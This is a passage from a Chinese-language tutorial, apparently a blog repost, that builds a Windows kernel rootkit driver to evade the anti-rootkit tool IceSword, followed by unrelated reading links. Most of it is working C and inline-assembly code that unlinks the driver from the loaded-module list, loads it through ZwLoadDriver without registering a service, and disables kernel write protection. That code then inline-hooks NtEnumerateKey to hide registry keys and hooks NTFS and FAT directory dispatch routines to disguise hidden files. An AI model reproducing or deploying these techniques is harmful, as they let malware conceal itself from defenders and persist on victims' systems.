STATUS_SUCCESS;}上面這兩個函數中,GetPsLoadedModuleListPtr()是通過特徵碼搜索獲取KdDebuggerDataBlock的位置,使用特徵碼搜索辦法雖然不是很好,但是通用性強。然後再以此獲取PsLoadedModuleList地址,RemoveModule()用來實現在PsLoadedModuleList鏈表中刪除自己。在PsLoadedModuleList中定位的方法也是使用上面利用DriverAddr定位。五、隱藏服務:普通情況下載入驅動需要 OpenSCManager->CreateService->StartService,這樣驅動就會跑到服務管理器中去註冊一下自己,並且要隱藏這樣載入驅動的服務,不是不行,只是太麻煩而且沒效率了。要hook一大堆的服務函數。不過在逆向IS的時候發現了一個不需要去服務管理器註冊而直接載入驅動的方法。就是使用ZwLoadDriver(這個函數通常是ring0中載入驅動時用,由於被Ntdll.dll導出,ring3就也能用了)進行直接載入。這樣就不用去服務管理器中註冊自己,並且這樣載入的驅動windows系統工具中的「系統信息」查看器也查不到你,更不用說那些什麼服務管理器之類的東東了。屢用不爽。下面介紹一下用法:1、首先自己在註冊表的服務項中添加一個自己的服務名字項。2、在自己添加的服務名字項中添加一些驅動信息(其實就是手工實現CreateService()函數對註冊表的那些操作),這些信息包括「ErrorControl」,「ImagePath」,「Start」,「Type」等等。你要手工設置這些鍵以及鍵值。按上面設置完後,來看看ZwLoadDriver的原形:NTSTATUSZwLoadDriver(IN PUNICODE_STRING DriverServiceName );下面的代碼給出了ZwLoadDriver的使用例子:AnotherWayStartService( TCHAR *szDir ){HKEY RegKey;HKEY hLicenses;DWORD disp;DWORD ErrorControl=NULL;DWORD ProcessID;DWORD Start=3;DWORD Type=1;LONG Regrt;DWORD ZwLoadDriver;DWORD RtlInitUnicodeString;UNICODE_STRING RegService;PCWSTRRegServicePath= L"\Registry\Machine\System\CurrentControlSet\Services\neverdeath";TCHARDriverFilePath[MAX_PATH] = "\??";Regrt = RegOpenKeyEx (HKEY_LOCAL_MACHINE,"SYSTEM\CurrentControlSet\Services",0,KEY_CREATE_SUB_KEY + KEY_SET_VALUE,&hLicenses );if ( Regrt != ERROR_SUCCESS ) {return false;}Regrt=RegCreateKeyEx (hLicenses,"neverdeath",0,"",REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL,&RegKey,&disp );if ( Regrt != ERROR_SUCCESS ) {return false;}Regrt = RegOpenKeyEx (HKEY_LOCAL_MACHINE,"SYSTEM\CurrentControlSet\Services\neverdeath",0,KEY_CREATE_SUB_KEY + KEY_SET_VALUE,&RegKey );if ( Regrt != ERROR_SUCCESS ) {return false;}Regrt = RegSetValueEx (RegKey,"ErrorControl",NULL,REG_DWORD,(const unsigned char *)(&ErrorControl),4 );if ( Regrt != ERROR_SUCCESS ) {return false;}strcat(DriverFilePath, szDir);Regrt = RegSetValueEx (RegKey,"ImagePath",NULL,REG_EXPAND_SZ,(const unsigned char *)(&DriverFilePath),strlen( DriverFilePath ) );if ( Regrt != ERROR_SUCCESS ) {return false;}Regrt = RegSetValueEx (RegKey,"Start",NULL,REG_DWORD,(const unsigned char *)(&Start),4 );if ( Regrt != ERROR_SUCCESS ) {return false;}Regrt = RegSetValueEx (RegKey,"Type",NULL,REG_DWORD,(const unsigned char *)(&Type),4 );if ( Regrt != ERROR_SUCCESS ) {return false;}//還記得前面隱藏進程時,我們進程ID是從註冊表中取的//下面就是把進程ID寫入註冊表,不會影響驅動的載入ProcessID=GetCurrentProcessId();Regrt = RegSetValueEx (RegKey,"ProcessID",NULL,REG_DWORD,(const unsigned char *)(&ProcessID),4 );if ( Regrt != ERROR_SUCCESS ) {return false;}CloseHandle( RegKey );ZwLoadDriver = (DWORD) GetProcAddress ( GetModuleHandle( "ntdll.dll" ), "ZwLoadDriver" );RtlInitUnicodeString = (DWORD) GetProcAddress( GetModuleHandle( "ntdll.dll" ), "RtlInitUnicodeString" );_asm{pushadpush RegServicePathlea edi, RegService push edicall RtlInitUnicodeString//裝載UNICODE字元lea edi, RegServicepush edicall ZwLoadDriverpopad}return true;}請注意上面這段代碼中載入驅動時所使用的註冊表路徑格式是:「\Registry\Machine\System\CurrentControlSet\Services\neverdeath」而不是:「HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\neverdeath」也許你已經想到了那麼卸載驅動會不會就是函數「ZwUnloadDriver」?自己試一下不就知道了:)六、隱藏註冊表:IS處理註冊表並沒有什麼新意,就是調用那些ZwCreateKey、ZwOpenKey、ZwQueryKey、ZwSetValueKey一類的註冊表操作函數,通過偽造內核文件,所以這部分可以很輕鬆hook並實現隱藏。IS在這裡玩了一個小花樣,在XP下,IS會在把從ntoskrnl.exe讀到的NtEnumerateKey起始地址的第三個字(注意是字,不是位元組!)先加上0xD50後,再進行還原,因此你在偽造內核文件時必須先把自己構造的代碼的第三個字減去0xD50後再寫入到otoskrnl.exe中,否則就等著BSOD吧。而在2K中就不需要這些操作。這裡主要是通過hook註冊表函數NtEnumerateKey來隱藏我們註冊中的「CurrentControlSetServices」下的 「neverdeath」項以及「CurrentControlSetEnumRoot」下的「LEGACY_NEVERDEATH」項。至於隱藏鍵與鍵值在這裡就不說了,自己隨手寫一個就是了。順便提一下,由於windows的regedit也是調用這些函數訪問註冊表,所以如果你在IS中隱藏了註冊表也就等於在windows的regedit中隱藏了。以下代碼在XP下測試通過,如要在2K或2K3中運行,請根據需要自己進行取捨。由於NtEnumerateKey沒有被ntoskrnl.exe導出,這裡利用NtEnumerateKey在服務表 偏移 = 「NtDuplicateToken」在服務表中的偏移+2 來獲取NtEnumerateKey地址。PCWSTR HideKey = L"neverdeath";PCWSTR HideKeyLEG = L"LEGACY_NEVERDEATH";unsigned char ResumCodeNtEnumerateKey[6];unsigned char CrackCodeNtEnumerateKey[6];unsigned char CrackCodeNtEnumerateKeyWriteFile[6];typedef NTSTATUS ( *NTENUMERATEKEY ) (IN HANDLEKeyHandle,IN ULONGIndex,IN KEY_INFORMATION_CLASSKeyInformationClass,OUT PVOIDKeyInformation,IN ULONGLength,OUT PULONGResultLength );NTENUMERATEKEY OldNtEnumerateKey;typedef struct ServiceDescriptorEntry {unsigned int *ServiceTableBase;unsigned int *ServiceCounterTableBase; //Used only in checked buildunsigned int NumberOfServices;unsigned char *ParamTableBase;} ServiceDescriptorTableEntry, *PServiceDescriptorTableEntry;extern PServiceDescriptorTableEntry KeServiceDescriptorTable;NTSTATUS NewNtEnumerateKey(IN HANDLEKeyHandle,IN ULONGIndex,IN KEY_INFORMATION_CLASSKeyInformationClass,OUT PVOIDKeyInformation,IN ULONGLength,OUT PULONGResultLength ){NTSTATUS Status;PCWSTR KeyNamePtr;_asm//還原{pushadmov edi, OldNtEnumerateKeymov eax, dword ptr ResumCodeNtEnumerateKey[0]mov [edi], eaxmov ax, word ptr ResumCodeNtEnumerateKey[4]mov [edi+4], axpopad}Status = ZwEnumerateKey ( KeyHandle,Index,KeyInformationClass,KeyInformation,Length,ResultLength );if ( Status == STATUS_SUCCESS ){ _asm {push edimov edi, KeyInformationadd edi, 0x10mov KeyNamePtr, edipop edi } if ( wcsstr(KeyNamePtr, HideKey)!=NULL || wcsstr(KeyNamePtr, HideKeyLEG) != NULL ) { Index=Index+1; Status = OldNtEnumerateKey ( KeyHandle,Index,KeyInformationClass,KeyInformation,Length,ResultLength ); }}_asm //替換{pushadmov edi, OldNtEnumerateKeymov eax, dword ptr CrackCodeNtEnumerateKey[0]mov [edi], eaxmov ax, word ptr CrackCodeNtEnumerateKey[4]mov [edi+4], axpopad}return Status; }NTSTATUS GetOldNtEnumerateKey(){DWORD NtDuplicateTokenAddr;int i=0;NtDuplicateTokenAddr = GetFunctionAddr( L"NtDuplicateToken" );if ( NtDuplicateTokenAddr == NULL ){DbgPrint("Get NtQuerySystemInformation Addr Error!!");return STATUS_DEVICE_CONFIGURATION_ERROR;}for (;;i++){if ( NtDuplicateTokenAddr == (DWORD)(*(((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase + i)) ){OldNtEnumerateKey = (NTENUMERATEKEY)(*(((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase + (i+2)));break;}}return STATUS_SUCCESS;}NTSTATUS PatchNtEnumerateKey(){NTSTATUS Status; Status = GetOldNtEnumerateKey();if ( Status != STATUS_SUCCESS ){DbgPrint("Get NtQuerySystemInformation Addr Error!!");return STATUS_DEVICE_CONFIGURATION_ERROR;}_asm//關中斷{CLIMOVEAX, CR0 AND EAX, NOT 10000HMOVCR0, EAX}_asm{pushad//獲取 NtEnumerateKey 函數的地址並保留該函數的起始六個位元組mov edi, OldNtEnumerateKeymov eax, [edi]mov dword ptr ResumCodeNtEnumerateKey[0], eaxmov ax, [edi+4]mov wordptr ResumCodeNtEnumerateKey[4], ax//構造要替換的代碼,使得系統調用該函數時跳到我們構造的NewNtEnumerateKey去執行mov byte ptr CrackCodeNtEnumerateKey[0], 0x68mov byte ptr CrackCodeNtEnumerateKeyWriteFile[0],0x68lea edi, NewNtEnumerateKeymov dword ptr CrackCodeNtEnumerateKey[1], edimov dword ptr CrackCodeNtEnumerateKeyWriteFile[1], edimov byte ptr CrackCodeNtEnumerateKey[5], 0xc3mov byte ptr CrackCodeNtEnumerateKeyWriteFile[5], 0xc3//把第NtEnumerateKey的第三個字減去D50在送回mov ax, word ptr CrackCodeNtEnumerateKeyWriteFile[4]sub ax, 0xD50mov word ptr CrackCodeNtEnumerateKeyWriteFile[4], ax//把構造好的代碼進行替換mov edi, OldNtEnumerateKeymov eax, dword ptr CrackCodeNtEnumerateKey[0]mov dword ptr[edi], eaxmov ax, word ptr CrackCodeNtEnumerateKey[4]mov word ptr[edi+4], axpopad}_asm//開中斷 {MOVEAX, CR0 OREAX, 10000HMOVCR0, EAXSTI}Status = RepairNtosFile((DWORD)OldNtEnumerateKey,//(DWORD)(&CrackCodeNtEnumerateKey) 2k(DWORD)(&CrackCodeNtEnumerateKeyWriteFile) ); //XPreturn Status;}7、隱藏文件:終於寫到隱藏文件,在實現隱藏文件的過程中,越來越欣賞PJF。IS在獲取文件列表的過程時,迂迴戰術簡直玩到了另人匪夷所思的地步!我花了很多時間(好幾次坐在機子面前十幾個小時想的腦袋都綠了卻一點收穫都沒有)才實現了不用IFS,不用attach文件設備直接而進行隱藏,當時我甚至去hook函數IoCallDriver函數(經常看到有些人hook這個函數失敗,便造謠此函數不能hook,其實是可以的,但是確實很麻煩,如果你也想試試,為了讓你少走彎路,好意提醒一下,請盡最大努力保護好寄存器!)來截獲系統所有的IRP包,然後分析,真是差點沒把我搞死!普通情況下,我們是通過發送IRP_MJ_DIRECTORY_CONTROL(0xC)請求給FSD來獲取文件列表的。獲取後的信息存在IRP->UserBuffer(0x3c)中。但是你會發現IS在獲取文件列表時並不發送IRP_MJ_DIRECTORY_CONTROL給FSD,而是發送IRP_MJ_DEVICE_CONTROL(0xE)請求給另外一個不知名設備。並且在該被請求完成後,你在完成的IRP數據中找不到任何有關文件名字的影子。或許你便開始點一隻煙,盯著屏幕直發楞,直想:「這怎麼可能呢?」(呵呵,也許pjf要的就是這種效果)。邪惡的微軟總是想方設法的企圖蒙蔽我們,讓我們忽略本質!內核裡面的那些什麼對象啊、設備啊、這個啊、那個啊、所有亂七八糟的東東,從本質上來講還不都是一堆代碼與數據。IS不發送IRP_MJ_DIRECTORY_CONTROL請求不代表它不會調用這個常式。我對IS獲取文件列表的猜想(IS的anti Debug太強, 為了今年之內把這個搞定,因此沒時間再陪它耗下去了):單獨創造一個Device,這個Device的IRP_MJ_DEVICE_CONTROL常式中構造IRP與DEVICE_OBJECT後,直接調用IRP_MJ_DIRECTORY_CONTROL常式,這樣就避免了向文件設備發送請求但是還能獲取文件列表的目的了。關於在完成後的IRP包中無法獲取文件名的功能,其實只要在直接調用IRP_MJ_DIRECTORY_CONTROL常式之後,把IRP->UserBuffer中的內容轉移或加個密就輕易實現了。雖然這只是猜想,但是為了驗證我的想法。我單獨寫了個test證明我的想法是可行的。我不能確定IS就是這樣做,但我能確定如果你這樣做的話就能達到類似的效果。IS就是通過設置IO_COMPLETION_ROUTINE函數來第一時間處理完成後的結果,我們下面用的方法就是通過替換這個IO_COMPLETION_ROUTINE來搶先處理結果。我們處理完了再調用IS的IO_COMPLETION_ROUTINE函數。另外要說的是,由於IS用的MinorFunction是IRP_MN_QUERY_DIRECTORY,每次都肯定能返回一個文件名(哪怕已重複出現)。而你在自己的IO_COMPLETION_ROUTINE中如果檢測到是自己要隱藏的文件名的話,不能不調用原先IS的IO_COMPLETION_ROUTINE,否則BSOD。因此你只能更改文件屬性了,更改文件屬性也能達到隱藏的目的。還記不記的以前DOS時代的[.]與[..]文件夾嗎(那片笑聲讓我想起我的那些文件夾)。當返回你要隱藏的文件時信息,把這些信息全都替換成[.]或[..]文件夾屬性(當然包括文件名信息了)就行了。下面的代碼先獲取FSD設備的IRP_MJ_DIRECTORY_CONTROL分派函數的地址,然後對該函數進行hook。在我們構造的新的IRP_MJ_DIRECTORY_CONTROL分派函數中通過IO_STACK_LOCATION中的Length(+0x4)數值來判斷是否時IS(IS的Length很特殊,是0xfe8。平常的都是0x1000),是的話就進行替換IO_COMPLETION_ROUTINE。下的代碼在FAT32、NTFS、NTFS&FAT32中測試通過,在純Fat中也測試通過。PCWSTRHideDirectory =L"neverdeath";PCWSTRHideFile = L"otoskrnl.exe";DWORD NtfsUserbuf;DWORD NtfsFileName;DWORD NtfsLocaIrp;DWORD FatUserbuf;DWORD FatFileName;DWORD FatLocaIrp;typedef NTSTATUS(*_DISPATCH) (IN PDEVICE_OBJECTDeviceObject,IN OUT PIRPIrp );_DISPATCH OldNtfsQueryDirectoryDispatch;_DISPATCH OldFatQueryDirectoryDispatch;PIO_COMPLETION_ROUTINEOldNtfsCompletionRuntine;PIO_COMPLETION_ROUTINEOldFatCompletionRuntine;NTSTATUS NewNtfsCompletionRuntine(IN PDEVICE_OBJECT DeviceObject,IN PIRP Irp,IN PVOID Context ){NTSTATUS Status;_asm{pushadmov edi, NtfsUserbufadd edi, 0x5emov NtfsFileName, edipopad}if ( wcsstr( NtfsFileName, HideDirectory ) ||wcsstr( NtfsFileName, HideFile ) ){_asm{pushadmov edi,NtfsUserbufmov eax, 0x16mov dword ptr [edi+0x38], eaxmov eax, 0x04mov dword ptr [edi+0x3c], eaxmov eax, 0x002e002emov dword ptr [edi+0x5e], eaxpopad}}Status = OldNtfsCompletionRuntine (DeviceObject,Irp,Context );return Status;}NTSTATUS NewFatCompletionRuntine(IN PDEVICE_OBJECT DeviceObject,IN PIRP Irp,IN PVOID Context ){NTSTATUS Status;_asm{pushadmov edi, FatUserbufadd edi, 0x5emov FatFileName, edipopad}if ( wcsstr( FatFileName, HideDirectory ) ||wcsstr( FatFileName, HideFile ) ){_asm{pushadmov edi,FatUserbufmov eax, 0x16mov dword ptr [edi+0x38], eaxmov eax, 0x04mov dword ptr [edi+0x3c], eaxmov eax, 0x002e002emov dword ptr [edi+0x5e], eaxpopad}}Status = OldFatCompletionRuntine (DeviceObject,Irp,Context );return Status;}NTSTATUS NewNtfsQueryDirectoryDispatch ( IN PDEVICE_OBJECTDeviceObject,IN OUT PIRPIrp ){NTSTATUSStatus;DWORDQueryFile; _asm{pushadmov edi, OldNtfsQueryDirectoryDispatchmov eax, dword ptr ResumCodeNtfsQueryDirectoryDispatch[0]mov [edi], eaxmov ax, word ptr ResumCodeNtfsQueryDirectoryDispatch[4]mov [edi+4], axpopad}_asm{pushadmov edi, Irpmov eax, [edi+0x60]mov ecx, [edi+0x3c]mov edi, [eax+4]mov QueryFile, edimov NtfsUserbuf, ecxmov NtfsLocaIrp, eaxpopad}if ( QueryFile == 0xfe8 ){_asm{pushadmov edi, NtfsLocaIrpmov eax, [edi+0x1c]mov OldNtfsCompletionRuntine, eaxlea eax, NewNtfsCompletionRuntinemov [edi+0x1c], eaxpopad}}Status = OldNtfsQueryDirectoryDispatch (DeviceObject,Irp );_asm {pushadmov edi, OldNtfsQueryDirectoryDispatchmov eax, dword ptr CrackCodeNtfsQueryDirectoryDispatch[0]mov [edi], eaxmov ax, word ptr CrackCodeNtfsQueryDirectoryDispatch[4]mov [edi+4], axpopad}return Status;}NTSTATUS NewFatQueryDirectoryDispatch ( IN PDEVICE_OBJECTDeviceObject,IN OUT PIRPIrp ){NTSTATUSStatus;DWORDQueryFile; _asm{pushadmov edi, OldFatQueryDirectoryDispatchmov eax, dword ptr ResumCodeFatQueryDirectoryDispatch[0]mov [edi], eaxmov ax, word ptr ResumCodeFatQueryDirectoryDispatch[4]mov [edi+4], axpopad}_asm{pushadmov edi, Irpmov eax, [edi+0x60]mov ecx, [edi+0x3c]mov edi, [eax+4]mov QueryFile, edimov FatUserbuf, ecxmov FatLocaIrp, eaxpopad}if ( QueryFile == 0xfe8 ){_asm{pushadmov edi, FatLocaIrpmov eax, [edi+0x1c]mov OldFatCompletionRuntine, eaxlea eax, NewFatCompletionRuntinemov [edi+0x1c], eaxpopad}}Status = OldFatQueryDirectoryDispatch(DeviceObject,Irp );_asm {pushadmov edi, OldFatQueryDirectoryDispatchmov eax, dword ptr CrackCodeFatQueryDirectoryDispatch[0]mov [edi], eaxmov ax, word ptr CrackCodeFatQueryDirectoryDispatch[4]mov [edi+4], axpopad}return Status;}NTSTATUS PatchFileSystemDevicePatDispatch(){NTSTATUS NtfsStatus;NTSTATUS FastFatStatus;UNICODE_STRING FileSystemName;PVOID FileDeviceObject;POBJECT_TYPE ObjectType;DbgPrint("My Driver Loaded!");RtlInitUnicodeString( &FileSystemName, L"\FileSystem\Ntfs" );NtfsStatus = ObReferenceObjectByName(&FileSystemName,0x40,NULL,NULL,&ObjectType,NULL,NULL,&FileDeviceObject ); if( NtfsStatus == STATUS_SUCCESS ){_asm{pushadmov edi, FileDeviceObjectmov eax, [edi+0x68]mov OldNtfsQueryDirectoryDispatch, eaxpopad}_asm{CLIMOVEAX, CR0 AND EAX, NOT 10000H MOVCR0, EAX}_asm{pushadmov edi, OldNtfsQueryDirectoryDispatchmov eax, [edi]mov dword ptr ResumCodeNtfsQueryDirectoryDispatch[0], eaxmov ax, [edi+4]mov wordptr ResumCodeNtfsQueryDirectoryDispatch[4], axmov byte ptr CrackCodeNtfsQueryDirectoryDispatch[0], 0x68lea edi, NewNtfsQueryDirectoryDispatchmov dword ptr CrackCodeNtfsQueryDirectoryDispatch[1], edimov byte ptr CrackCodeNtfsQueryDirectoryDispatch[5], 0xC3mov edi, OldNtfsQueryDirectoryDispatchmov eax, dword ptr CrackCodeNtfsQueryDirectoryDispatch[0]mov dword ptr[edi], eaxmov ax, word ptr CrackCodeNtfsQueryDirectoryDispatch[4]mov word ptr[edi+4], axpopad}_asm {MOVEAX, CR0 OREAX, 10000HMOVCR0, EAX STI }}RtlInitUnicodeString( &FileSystemName, L"\FileSystem\Fastfat" );FastFatStatus = ObReferenceObjectByName (&FileSystemName,0x40,NULL,NULL,&ObjectType,NULL,NULL,&FileDeviceObject ); if ( FastFatStatus == STATUS_SUCCESS ){_asm{pushadmov edi, FileDeviceObjectmov eax, [edi+0x68]mov OldFatQueryDirectoryDispatch, eaxpopad}_asm{CLI MOVEAX, CR0 AND EAX, NOT 10000H MOVCR0, EAX}_asm{pushadmov edi, OldFatQueryDirectoryDispatchmov eax, [edi]mov dword ptr ResumCodeFatQueryDirectoryDispatch[0], eaxmov ax, [edi+4]mov wordptr ResumCodeFatQueryDirectoryDispatch[4], axmov byte ptr CrackCodeFatQueryDirectoryDispatch[0], 0x68lea edi, NewFatQueryDirectoryDispatchmov dword ptr CrackCodeFatQueryDirectoryDispatch[1], edimov byte ptr CrackCodeFatQueryDirectoryDispatch[5], 0xC3mov edi, OldFatQueryDirectoryDispatchmov eax, dword ptr CrackCodeFatQueryDirectoryDispatch[0]mov dword ptr[edi], eaxmov ax, word ptr CrackCodeFatQueryDirectoryDispatch[4]mov word ptr[edi+4], axpopad}_asm {MOVEAX, CR0OREAX, 10000HMOVCR0, EAXSTI }}return ( NtfsStatus & FastFatStatus );}以上代碼只能實現在IS中隱藏文件,如果要想在普通情況下隱藏文件,可以hook服務表中的函數,也可以在上面構造新的分派函數中增加一些選擇項就是了。但是記得hook服務表中的函數別忘了把構造後的數據寫入otoskrnl.exe中,免得IS啟動時失效。八、關於埠:感覺是該停止的時候了,如果把這個也搞出來並且本文被灰鴿子作者之流A進他的作品的話,那就違背我的本意並且我的心也會也會難受的。因此就在這裡止步吧! 呵呵,今年我想要學的東西,想要做的事情也都做完了。可以好好回去過年了。爽啊!最後祝各位聖誕快樂!特別時那些他鄉的遊子。記得打個電話回去問候喲!參考文章:wuyanfeng 《icesword 驅動部分分析》 //呵呵,希望大家給國產調試器一些支持 !!tombkeeper《獲取Windows 系統的內核變數》http://www.xfocus.net/articles/200408/724.htmlJIURL 《IRP 亂雜談》http://jiurl.yeah.net/JIURL《JIURL玩玩Win2k進程線程篇 HANDLE_TABLE》http://jiurl.yeah.net/JIURL 《JIURL玩玩Win2k 對象》http://jiurl.yeah.net/sinister《隱藏任意進程,目錄/文件,註冊表,埠》能記得住的文章就這幾個了。
推薦閱讀:

利用廢棄小藥瓶DIY漂亮風鈴教程
如何利用舊撲克牌,DIY自製多邊形收納盒
優勢識別——如何發現和利用自己的性格優勢?
中國應加大對地溝油的開發利用
利用排毒食材,把毒吃出來

TAG:利用 | 檢測 | 文件 | 偽造 |